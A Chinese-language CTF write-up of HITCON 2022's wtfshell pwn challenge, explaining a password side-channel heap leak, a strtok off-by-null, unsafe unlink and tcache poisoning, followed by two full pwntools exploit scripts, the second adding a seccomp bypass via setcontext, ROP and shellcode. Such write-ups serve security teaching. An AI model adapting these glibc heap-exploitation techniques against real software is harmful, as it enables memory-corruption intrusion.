和r3kapig一起征战hitcon2022,pwn手坐大牢,wtfshell这道题审了三小时源码,只看出来一个 chk_pw
侧信道+read_pw
未置零,最终可以通过侧信道leak出一个heap地址,没有看出其余的洞,最终放弃。
题目提供了源码,一共930+行,libc为glibc2.36 3
,由于glibc-all-in-one
中找不到该版本libc,因此我换了一个小版本,用glibc2.36 4
进行复现。
其中!的ascii码值为0x21,若我们能在gbuff
0x400大小的堆块里填入0x408个非零字符,同时在后面跟上一个size头低字节为0x21的堆块,即可通过strtok
实现off-by-null
。
首先申请一个user
结构体,填满其pwd。本地gdb调试之后发现这样user->uname
指针末尾为0,因此可以申请两个user
结构体,第一个用作填充,使第二个user
结构体的user->uname
指针末尾不为0。
其中malloc_usable_size
函数会获取该heap所有能写的size,也就是说紧邻该堆块的下一个堆块的prev_size
也会被算进来清零,因此我们要避开xfree,只能用xrealloc
来free。
xrealloc
其实就是调用realloc
函数,当我们申请一个大于当前堆块size的堆块时,realloc
会free掉当前堆块,然后重新申请堆块,这个过程中是不会清空free的堆块内容的。
gbuff
堆块与off-by-null-chunk
是紧挨的,然后我们如果要更改off-by-null-chunk
的prev_size
,就必须通过gbuff
来更改。
尝试思路一:首先肯定要触发off-by-null
,我想的是触发off-by-null
之后,再次调用cmd_irl
来free掉gbuff
,然后申请一个普通chunk,size为0x408,这样就能更改到off-by-null-chunk
的prev_size
。
但是这样是显然行不通的,因为free掉gbuff
的时候,会判断gbuff
下面那个堆块的use状态,由于已经off-by-null
,会触发off-by-null
,但是我们的prev_size
不合法,这样会导致程序出错。
尝试思路二:我详细查阅了strtok的作用,如果出现连续的delim分隔符会如何处理,看能不能同时利用strtok将gbuff
第0x400-0x408个字节中非prev_size
部分清空,同时触发off-by-null
。最终也以失败告终。
我们free掉off-by-null-chunk
的时候,除非off-by-null-chunk
的size本身为0x501
这种,off by null之后不用伪造next_size
。否则需要伪造合法的next_size
,不然free会触发错误。
首先off-by-null-chunk
的size需要大于0x400(不能在tcache范围),在tcache范围内的tcache_off-by-null
是没有作用的。
这就意味着我们申请的off-by-null-chunk
的size需要大于0x400,那就只能调用cmd_rip
来申请,其他都不能申请大于0x400 size的chunk。而cmd_rip
的操作是根据strlen
函数返回的长度来进行realloc
的,也就是说,我们申请出某个size 的堆块,就必须填满他。
但我们要伪造fake_next_size
,fake_next_size
中肯定带\x00
截断,同时由于off-by-null-chunk
原本size低字节为0x21,被改成\x00后,fake_next_size
要放在off-by-null-chunk
的+0x500处,例如如下结构:
先申请出0x521大小的chunk,然后利用cmd_wtf
里的strcpy
往里填入零字节,再利用cmd_rip
来realloc到适当字节,恰好写进fake_next_size
,但是对一个内存大于申请size的堆块进行realloc
,会free掉剩余size的小chunk:
例如对0x521 chunk 进行reallc(ptr,0x410)
,他会free掉剩余的0x100字节。这样会破坏掉原来chunk的size头,导致我们不能触发off-by-null
。
转换思路呢?可能一开始就想错了,为什么off-by-null-chunk
size一定要大于0x400呢?他的size可以是0x321,只要我们提前填满对应size的tcache_list
即可。
若strlen(fdata)<strlen(gfiles[i]->fdata)
,是不会触发realloc
的,而是直接调用strcpy
,也就是说,我们可以提前填满一个堆块,然后利用这个fdata size更小的时候,从后往前填充\x00字节,这样就能够伪造好我们的fake_next_size
。
这里注意的是,p->fd->bk
和p->bk->fd
指向的地方,不能和p->fd_nextsize->bk_nextsize
和p->bk_nextsize->fd_nextsize
指向的地方相同,否则在通过第一个检测之后,会执行:
能够任意写的tcache
size必须要小,因为cmd
中任何申请函数都是以strlen
返回结果来进行malloc的,也就是说,如果我们想申请任意写,我们就必须填满其chunk。例如我最开始构造的tcache
size为0x300,这样的话,申请过去的堆块必须填满0x2f0内容。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
from
pwn
import
*
context.terminal
=
[
'gnome-terminal'
,
'-x'
,
'sh'
,
'-c'
]
def
qwq(name):
log.success(
hex
(name))
def
debug(point):
if
point
=
=
0
:
gdb.attach(r)
else
:
gdb.attach(r,
"b "
+
point)
r
=
process(
'/mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell'
)
def
menu(payload):
r.recvuntil(
"√"
)
r.sendline(payload)
def
add_data(name,content):
payload
=
b
'rip.'
+
name
menu(payload)
sleep(
0.1
)
r.send(content)
def
new_file(name,flag):
payload
=
b
'nsfw,'
+
name
+
b
','
+
flag
menu(payload)
def
show_file(name):
payload
=
b
'omfg,'
+
name
menu(payload)
def
recover_data(name,content):
payload
=
b
'wtf,'
+
content
+
b
','
+
name
menu(payload)
def
delete_file(name):
payload
=
b
'gtfo,'
+
name
menu(payload)
def
add_user(name):
payload
=
b
'stfu,'
+
name
menu(payload)
def
edit_pwd(name,pwd):
payload
=
b
'asap,'
+
name
menu(payload)
r.recvuntil(b
"password:"
)
r.send(pwd)
r.recvuntil(b
"retype password:"
)
r.send(pwd)
def
delete_all():
payload
=
b
'irl.'
menu(payload)
def
burp(name,pwd):
addr
=
"\x80"
for
i
in
range
(
0x6
):
log.success(
"addr: "
+
hex
(u64(addr.ljust(
0x8
,
'\0'
))))
for
j
in
range
(
0xb
,
0xff
):
payload
=
b
'asap,'
+
name
menu(payload)
r.recvuntil(b
"password:"
)
r.send(pwd)
r.recvuntil(b
"retype password:"
)
r.send(pwd
+
addr
+
chr
(j)
+
"\n"
)
data
=
r.recvuntil(
"\n"
,timeout
=
0.1
)
if
b
"asap: "
not
in
data:
addr
+
=
chr
(j)
r.send(b
'\x00\n'
)
break
else
:
continue
return
u64(addr.ljust(
0x8
,
'\0'
))
def
write_addr(filename,payload,size):
whole_size
=
len
(payload)
+
1
no_null_payload
=
payload.replace(b
'\x00'
,b
'a'
)
for
i
in
range
(size):
if
no_null_payload[whole_size
-
i
-
2
:whole_size
-
i
-
1
]
=
=
b
'a'
:
recover_data(filename,no_null_payload[
0
:whole_size
-
i
-
2
])
else
:
continue
add_user(b
'what'
)
add_user(b
'lotus'
)
heap_base
=
burp(b
'lotus'
,
"a"
*
0x40
)
-
0x880
key
=
heap_base>>
12
new_file(b
'big'
,b
'3'
)
new_file(b
'gbuff'
,b
'3'
)
new_file(b
'off-by-null-chunk'
,b
'3'
)
for
i
in
range
(
0x7
):
new_file(b
"chunk"
+
str
(i).encode(),b
'3'
)
new_file(b
"chunk1"
+
str
(i).encode(),b
'3'
)
new_file(b
'chunk21'
,b
'3'
)
new_file(b
'chunk22'
,b
'3'
)
for
i
in
range
(
0x7
):
for
j
in
range
(
0x4
):
add_data(b
"chunk"
+
str
(i).encode(),b
'a'
*
0x100
)
for
i
in
range
(
0x2
):
for
j
in
range
(
0x2
):
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0x100
)
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0xf0
+
b
'\n'
)
for
i
in
range
(
0x3
):
recover_data(b
"chunk2"
+
str
(i).encode(),b
'a'
*
0x20
)
for
i
in
range
(
3
,
7
):
for
j
in
range
(
0x2
):
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0x100
)
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0xf0
+
b
'\n'
)
[add_data(b
'big'
,p16(
0x1650
)
+
b
'/'
*
(
0x100
-
2
))
for
i
in
range
(
0x10
)]
add_data(b
'big'
,b
'a'
*
0x10
+
b
'\n'
)
new_file(b
'b'
*
0x100
,b
'3'
)
add_data(b
'big'
,b
'a'
*
0x100
)
[add_data(b
'gbuff'
,b
'a'
*
0x100
)
for
i
in
range
(
0x3
)]
add_data(b
'gbuff'
,b
'a'
*
0xf8
+
b
'\n'
)
[add_data(b
'off-by-null-chunk'
,b
'a'
*
0x100
)
for
i
in
range
(
0x5
)]
add_data(b
'off-by-null-chunk'
,b
'a'
*
0x10
+
b
'\n'
)
[delete_file(b
"chunk"
+
str
(i).encode())
for
i
in
range
(
0x6
)]
add_data(b
'gbuff'
,b
'a'
*
0x100
)
delete_all()
new_file(b
'useless_chunk'
,b
'3'
)
[add_data(b
'useless_chunk'
,b
'a'
*
0x100
)
for
i
in
range
(
0x3
)]
add_data(b
'useless_chunk'
,b
'a'
*
0x10
+
b
'\n'
)
new_file(b
'off-by-null-chunk'
,b
'3'
)
[add_data(b
'off-by-null-chunk'
,b
'\x31'
*
0x100
)
for
i
in
range
(
0x3
)]
add_data(b
'off-by-null-chunk'
,b
'\x31'
*
0x10
+
b
'\n'
)
[recover_data(b
'off-by-null-chunk'
,b
'\x31'
*
(
0x2ff
-
i))
for
i
in
range
(
0x6
)]
recover_data(b
'off-by-null-chunk'
,b
'\x31'
*
(
0x2ff
-
6
)
+
b
'\x09'
)
menu(b
'rip.'
+
b
'a'
*
(
0x400
-
4
))
for
i
in
range
(
0x9
):
new_file(b
"chunk1"
+
str
(i).encode(),b
'3'
)
for
i
in
range
(
0x9
):
recover_data(b
"chunk1"
+
str
(i).encode(),b
'i'
*
0x2f0
)
fake_point
=
heap_base
+
0x2af0
fake_point_addr
=
fake_point
+
0x30
fake_unlink_chunk
=
b
'i'
*
0x10
+
p64(
0
)
+
p64(
0x1651
)
+
p64(fake_point_addr
-
0x18
)
+
p64(fake_point_addr
-
0x10
)
+
p64(fake_point_addr
-
0x20
)
+
p64(fake_point_addr
-
0x18
)
+
p64(fake_point)
*
2
write_addr(b
'chunk15'
,fake_unlink_chunk,
len
(fake_unlink_chunk)
-
0x10
)
[delete_file(b
"chunk1"
+
str
(i).encode())
for
i
in
range
(
0x4
)]
delete_file(b
'chunk17'
)
delete_file(b
'chunk18'
)
delete_file(b
'chunk16'
)
delete_file(b
'off-by-null-chunk'
)
for
i
in
range
(
0xa
):
new_file(b
'useless'
+
str
(i).encode(),b
'3'
)
recover_data(b
'useless'
+
str
(i).encode(),b
'a'
*
8
)
new_file(b
'a'
*
0x2e0
,b
'3'
)
new_file(b
'b'
*
0x2d0
,b
'3'
)
show_file(b
'chunk14'
)
libc_base
=
u64(r.recvuntil(b
'\x7f'
)[
-
6
:].ljust(
0x8
,b
'\0'
))
-
0x1f6cc0
new_file(b
'a'
*
0x220
,b
'3'
)
new_file(b
'edit_tcache_next'
,b
'3'
)
recover_data(b
'edit_tcache_next'
,b
'a'
*
0x220
)
write_addr(b
'edit_tcache_next'
,b
'a'
*
192
+
p64((heap_base
+
0x330
)^(key
+
3
)),
0x8
)
new_file(b
'a'
*
0x20
,b
'3'
)
new_file(b
'go_attack'
,b
'3'
)
recover_data(b
'go_attack'
,b
'a'
*
0x20
)
write_addr(b
'go_attack'
,p32(
1
)
+
p32(
0x3
)
+
p64(
0xdeadbeef
)
+
b
'lotuslotus'
,
0x1a
)
show_file(b
'a'
*
0x10
)
qwq(heap_base)
qwq(libc_base)
r.interactive()
沙盒是白名单,没有open。沙盒绕过卡掉了一个解,wtfshell2
比wtfshell1
少了一个解。wtfshell2
相比与wtfshell1
就是多了沙盒。因为我们在wtfshell1
中已经拿到了任意地址写,和heap_base
,libc_base
,wtfshell2
考察的就是如何绕过沙箱写orw
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
[email protected]:~
/
seccomp
-
tools$ seccomp
-
tools dump
/
mnt
/
hgfs
/
ubuntu
/
hitcon
/
heap
/
share
/
wtfshell
line CODE JT JF K
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
0000
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0001
:
0x15
0x00
0x04
0x00000000
if
(A !
=
read) goto
0006
0002
:
0x20
0x00
0x00
0x00000010
A
=
fd
0003
:
0x15
0x00
0x01
0x00000000
if
(A !
=
0x0
) goto
0005
0004
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0005
:
0x06
0x00
0x00
0x00000000
return
KILL
0006
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0007
:
0x15
0x00
0x01
0x00000003
if
(A !
=
close) goto
0009
0008
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0009
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0010
:
0x15
0x00
0x06
0x00000009
if
(A !
=
mmap) goto
0017
0011
:
0x20
0x00
0x00
0x00000020
A
=
prot
0012
:
0x15
0x03
0x00
0x00000007
if
(A
=
=
0x7
) goto
0016
0013
:
0x20
0x00
0x00
0x00000030
A
=
fd
0014
:
0x15
0x00
0x01
0xffffffff
if
(A !
=
0xffffffff
) goto
0016
0015
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0016
:
0x06
0x00
0x00
0x00000000
return
KILL
0017
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0018
:
0x15
0x00
0x01
0x0000000b
if
(A !
=
munmap) goto
0020
0019
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0020
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0021
:
0x15
0x00
0x01
0x0000000c
if
(A !
=
brk) goto
0023
0022
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0023
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0024
:
0x15
0x00
0x01
0x00000027
if
(A !
=
getpid) goto
0026
0025
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0026
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0027
:
0x15
0x00
0x01
0x00000066
if
(A !
=
getuid) goto
0029
0028
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0029
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0030
:
0x15
0x00
0x01
0x00000068
if
(A !
=
getgid) goto
0032
0031
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0032
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0033
:
0x15
0x00
0x04
0x00000014
if
(A !
=
writev) goto
0038
0034
:
0x20
0x00
0x00
0x00000010
A
=
fd
0035
:
0x15
0x00
0x01
0x00000001
if
(A !
=
0x1
) goto
0037
0036
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0037
:
0x06
0x00
0x00
0x00000000
return
KILL
0038
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0039
:
0x15
0x00
0x05
0x0000003c
if
(A !
=
exit) goto
0045
0040
:
0x20
0x00
0x00
0x00000010
A
=
error_code
0041
:
0x15
0x01
0x00
0x00000000
if
(A
=
=
0x0
) goto
0043
0042
:
0x15
0x00
0x01
0x00000001
if
(A !
=
0x1
) goto
0044
0043
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0044
:
0x06
0x00
0x00
0x00000000
return
KILL
0045
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0046
:
0x15
0x00
0x05
0x000000e7
if
(A !
=
exit_group) goto
0052
0047
:
0x20
0x00
0x00
0x00000010
A
=
error_code
0048
:
0x15
0x01
0x00
0x00000000
if
(A
=
=
0x0
) goto
0050
0049
:
0x15
0x00
0x01
0x00000001
if
(A !
=
0x1
) goto
0051
0050
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0051
:
0x06
0x00
0x00
0x00000000
return
KILL
0052
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0053
:
0x15
0x00
0x03
0x00000127
if
(A !
=
preadv) goto
0057
0054
:
0x20
0x00
0x00
0x00000010
A
=
fd
0055
:
0x25
0x00
0x01
0x00000002
if
(A <
=
0x2
) goto
0057
0056
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0057
:
0x06
0x00
0x00
0x00000000
return
KILL
注意沙盒里判断了preadv
的第一个参数需要大于2,因此我们openat
的第一个参数也需要大于2,而当openat
使用绝对路径的时候,第一个参数不影响结果,故这里最好用绝对路径/flag2
。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
from
pwn
import
*
context(arch
=
'amd64'
, os
=
'linux'
)
def
qwq(name):
log.success(
hex
(name))
def
debug(point):
if
point
=
=
0
:
gdb.attach(r)
else
:
gdb.attach(r,
"b "
+
point)
r
=
process(
'/mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell'
)
libc
=
ELF(
'/mnt/hgfs/ubuntu/hitcon/heap/share/libc.so.6'
)
def
menu(payload):
r.recvuntil(
"√"
)
r.sendline(payload)
def
add_data(name,content):
payload
=
b
'rip.'
+
name
menu(payload)
sleep(
0.1
)
r.send(content)
def
new_file(name,flag):
payload
=
b
'nsfw,'
+
name
+
b
','
+
flag
menu(payload)
def
show_file(name):
payload
=
b
'omfg,'
+
name
menu(payload)
def
recover_data(name,content):
payload
=
b
'wtf,'
+
content
+
b
','
+
name
menu(payload)
def
delete_file(name):
payload
=
b
'gtfo,'
+
name
menu(payload)
def
add_user(name):
payload
=
b
'stfu,'
+
name
menu(payload)
def
edit_pwd(name,pwd):
payload
=
b
'asap,'
+
name
menu(payload)
r.recvuntil(b
"password:"
)
r.send(pwd)
r.recvuntil(b
"retype password:"
)
r.send(pwd)
def
delete_all():
payload
=
b
'irl.'
menu(payload)
def
burp(name,pwd):
addr
=
"\x80"
for
i
in
range
(
0x6
):
log.success(
"addr: "
+
hex
(u64(addr.ljust(
0x8
,
'\0'
))))
for
j
in
range
(
0xb
,
0xff
):
payload
=
b
'asap,'
+
name
menu(payload)
r.recvuntil(b
"password:"
)
r.send(pwd)
r.recvuntil(b
"retype password:"
)
r.send(pwd
+
addr
+
chr
(j)
+
"\n"
)
data
=
r.recvuntil(
"\n"
,timeout
=
0.1
)
if
b
"asap: "
not
in
data:
addr
+
=
chr
(j)
r.send(b
'\x00\n'
)
break
else
:
continue
return
u64(addr.ljust(
0x8
,
'\0'
))
def
write_addr(filename,payload,size):
whole_size
=
len
(payload)
+
1
no_null_payload
=
payload.replace(b
'\x00'
,b
'a'
)
for
i
in
range
(size):
if
no_null_payload[whole_size
-
i
-
2
:whole_size
-
i
-
1
]
=
=
b
'a'
:
recover_data(filename,no_null_payload[
0
:whole_size
-
i
-
2
])
else
:
continue
add_user(b
'what'
)
add_user(b
'lotus'
)
heap_base
=
burp(b
'lotus'
,
"a"
*
0x40
)
-
0x880
key
=
heap_base>>
12
new_file(b
'big'
,b
'3'
)
new_file(b
'gbuff'
,b
'3'
)
new_file(b
'off-by-null-chunk'
,b
'3'
)
for
i
in
range
(
0x7
):
new_file(b
"chunk"
+
str
(i).encode(),b
'3'
)
new_file(b
"chunk1"
+
str
(i).encode(),b
'3'
)
new_file(b
'chunk21'
,b
'3'
)
new_file(b
'chunk22'
,b
'3'
)
for
i
in
range
(
0x7
):
for
j
in
range
(
0x4
):
add_data(b
"chunk"
+
str
(i).encode(),b
'a'
*
0x100
)
for
i
in
range
(
0x2
):
for
j
in
range
(
0x2
):
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0x100
)
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0xf0
+
b
'\n'
)
for
i
in
range
(
0x3
):
recover_data(b
"chunk2"
+
str
(i).encode(),b
'a'
*
0x20
)
for
i
in
range
(
3
,
7
):
for
j
in
range
(
0x2
):
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0x100
)
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0xf0
+
b
'\n'
)
[add_data(b
'big'
,p16(
0x1650
)
+
b
'/'
*
(
0x100
-
2
))
for
i
in
range
(
0x10
)]
add_data(b
'big'
,b
'a'
*
0x10
+
b
'\n'
)
new_file(b
'b'
*
0x100
,b
'3'
)
add_data(b
'big'
,b
'a'
*
0x100
)
[add_data(b
'gbuff'
,b
'a'
*
0x100
)
for
i
in
range
(
0x3
)]
add_data(b
'gbuff'
,b
'a'
*
0xf8
+
b
'\n'
)
[add_data(b
'off-by-null-chunk'
,b
'a'
*
0x100
)
for
i
in
range
(
0x5
)]
add_data(b
'off-by-null-chunk'
,b
'a'
*
0x10
+
b
'\n'
)
[delete_file(b
"chunk"
+
str
(i).encode())
for
i
in
range
(
0x6
)]
add_data(b
'gbuff'
,b
'a'
*
0x100
)
delete_all()
new_file(b
'useless_chunk'
,b
'3'
)
[add_data(b
'useless_chunk'
,b
'a'
*
0x100
)
for
i
in
range
(
0x3
)]
add_data(b
'useless_chunk'
,b
'a'
*
0x10
+
b
'\n'
)
new_file(b
'off-by-null-chunk'
,b
'3'
)
[add_data(b
'off-by-null-chunk'
,b
'\x31'
*
0x100
)
for
i
in
range
(
0x3
)]
add_data(b
'off-by-null-chunk'
,b
'\x31'
*
0x10
+
b
'\n'
)
[recover_data(b
'off-by-null-chunk'
,b
'\x31'
*
(
0x2ff
-
i))
for
i
in
range
(
0x6
)]
recover_data(b
'off-by-null-chunk'
,b
'\x31'
*
(
0x2ff
-
6
)
+
b
'\x09'
)
menu(b
'rip.'
+
b
'a'
*
(
0x400
-
4
))
for
i
in
range
(
0x9
):
new_file(b
"chunk1"
+
str
(i).encode(),b
'3'
)
for
i
in
range
(
0x9
):
recover_data(b
"chunk1"
+
str
(i).encode(),b
'i'
*
0x2f0
)
fake_point
=
heap_base
+
0x2af0
fake_point_addr
=
fake_point
+
0x30
fake_unlink_chunk
=
b
'i'
*
0x10
+
p64(
0
)
+
p64(
0x1651
)
+
p64(fake_point_addr
-
0x18
)
+
p64(fake_point_addr
-
0x10
)
+
p64(fake_point_addr
-
0x20
)
+
p64(fake_point_addr
-
0x18
)
+
p64(fake_point)
*
2
write_addr(b
'chunk15'
,fake_unlink_chunk,
len
(fake_unlink_chunk)
-
0x10
)
[delete_file(b
"chunk1"
+
str
(i).encode())
for
i
in
range
(
0x4
)]
delete_file(b
'chunk17'
)
delete_file(b
'chunk18'
)
delete_file(b
'chunk16'
)
delete_file(b
'off-by-null-chunk'
)
for
i
in
range
(
0xa
):
new_file(b
'useless'
+
str
(i).encode(),b
'3'
)
recover_data(b
'useless'
+
str
(i).encode(),b
'a'
*
8
)
new_file(b
'a'
*
0x2e0
,b
'3'
)
new_file(b
'b'
*
0x2d0
,b
'3'
)
show_file(b
'chunk14'
)
libc_base
=
u64(r.recvuntil(b
'\x7f'
)[
-
6
:].ljust(
0x8
,b
'\0'
))
-
0x1f6cc0
new_file(b
'a'
*
0x220
,b
'3'
)
new_file(b
'edit_tcache_next'
,b
'3'
)
recover_data(b
'edit_tcache_next'
,b
'a'
*
0x220
)
strtok_libc_got
=
libc_base
+
0x1f6040
write_addr(b
'edit_tcache_next'
,b
'a'
*
192
+
p64((strtok_libc_got
-
0x20
)^(key
+
3
)),
0x8
)
new_file(b
'a'
*
0x20
,b
'3'
)
magic_gadget
=
libc_base
+
0x8c385
new_file(b
'go_attack'
,b
'3'
)
recover_data(b
'go_attack'
,b
'a'
*
0x20
+
p64(magic_gadget)[
0
:
6
])
address
=
libc_base
+
libc.sym[
'__free_hook'
]
frame
=
SigreturnFrame()
frame.rdi
=
0
frame.rsi
=
address
frame.rdx
=
0x200
frame.rsp
=
address
frame.rip
=
libc_base
+
libc.sym[
'read'
]
payload
=
p64(libc_base
+
libc.sym[
'setcontext'
]
+
61
)
+
p64(heap_base
+
0x3d50
)
payload
+
=
bytes(frame)
menu(payload)
pop_rax_ret
=
libc_base
+
0x3fa43
pop_rbx_ret
=
libc_base
+
0x2f1d1
pop_rcx_ret
=
libc_base
+
0x99a83
pop_rdi_ret
=
libc_base
+
0x23b65
pop_rsi_ret
=
libc_base
+
0x251be
pop_rdx_ret
=
libc_base
+
0x166262
pop_r8_ret
=
libc_base
+
0x8c3de
syscall
=
libc_base
+
0x8cc36
int_80
=
libc_base
+
0xce0cb
rop
=
p64(pop_rdi_ret)
+
p64(
0x100000
)
rop
+
=
p64(pop_rsi_ret)
+
p64(
0x1000
)
rop
+
=
p64(pop_rdx_ret)
+
p64(
6
)
rop
+
=
p64(pop_rcx_ret)
+
p64(
0x22
)
rop
+
=
p64(pop_r8_ret)
+
p64(
0xffffffff
)
rop
+
=
p64(libc_base
+
libc.sym[
'mmap'
])
rop
+
=
p64(pop_rdi_ret)
+
p64(
0
)
rop
+
=
p64(pop_rsi_ret)
+
p64(
0x100000
)
rop
+
=
p64(pop_rdx_ret)
+
p64(
0x200
)
rop
+
=
p64(libc_base
+
libc.sym[
'read'
])
rop
+
=
p64(
0x100008
)
sleep(
0.1
)
r.send(rop)
shellcode
=
asm(
)
sleep(
0.1
)
r.send(b
'/flag2\x00\x00'
+
shellcode)
qwq(heap_base)
qwq(libc_base)
r.interactive()